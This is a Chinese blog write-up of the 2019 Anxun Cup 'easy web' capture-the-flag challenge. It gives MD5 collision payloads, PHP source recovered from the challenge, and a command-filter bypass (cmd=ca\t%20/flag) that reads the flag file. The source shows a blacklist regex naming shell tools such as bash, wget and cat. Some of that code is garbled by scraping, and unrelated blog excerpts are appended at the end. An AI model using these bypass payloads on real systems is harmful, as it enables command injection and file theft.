刷題 安洵杯 2019 easy web

2022-05-19 12:54:11 字數 1932 閱讀 1130

md5碰撞:

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

qnkcdzo

240610708

開啟發現並沒有什麼東西,檢視原始碼發現最後md5 is funny,猜測需要碰撞md5.引數img,看著像base64,cmd引數好像暗示要**執行。

將img的值base64解碼,發現像可以繼續解碼,再次解碼得到一串字串,hex解碼,得到555.png。如法炮製,獲取原始碼

<?php

error_reporting(e_all || ~ e_notice);

header('content-type:text/html;charset=utf-8');

$cmd = $_get['cmd'];

if (!isset($_get['img']) || !isset($_get['cmd']))

header('refresh:0;url=./index.php?img=txpvek5uttfnbvuzturabe5qyz0&cmd=');

$file = hex2bin(base64_decode(base64_decode($_get['img'])));

$file = preg_replace("/[^a-za-z0-9.]+/", "", $file);

if (preg_match("/flag/i", $file)) else

echo $cmd;

echo "

";if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xa0|\|\(|\)|\&[^\d]|@|\||\\$|\[|\]||\(|\)|-|<|>/i", $cmd)) else else

}?>

獲取原始碼,**審計發現,果然需要進行md5碰撞

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

md5碰撞後發現幾乎過濾了絕大部分。cat可以用ca\t 的方法bypass,所以最終cmd=ca\t%20/flag,即可獲得flag

核心思路:

安洵杯2020部分MISC

得到flag d0g3 附上 得到乙個findme檔案,改字尾為zip,得到壓縮包,裡面有flagbox和key.txt感覺是比較有用的,txt有提示是veracrypt,用這個key去解密flagbox得到乙個假的flag 讓我們回去看,那就回到findme這個檔案 丟進linuxz中看到是ext...

藍橋杯刷題

題目 問題描述 給定圓的半徑r,求圓的面積。輸入格式 輸入包含乙個整數r,表示圓的半徑。輸出格式 輸出一行,包含乙個實數,四捨五入保留小數點後7位,表示圓的面積。說明 在本題中,輸入是乙個整數,但是輸出是乙個實數。對於實數輸出的問題,請一定看清楚實數輸出的要求,比如本題中要求保留小數點後7位,則你的...

藍橋杯刷題

題目 問題描述 求1 2 3 n的值。輸入格式 輸入包括乙個整數n。輸出格式 輸出一行,包括乙個整數,表示1 2 3 n的值。樣例輸入 4樣例輸出 10樣例輸入 100說明 有一些試題會給出多組樣例輸入輸出以幫助你更好的做題。一般在提交之前所有這些樣例都需要測試通過才行,但這不代表這幾組樣例資料都正...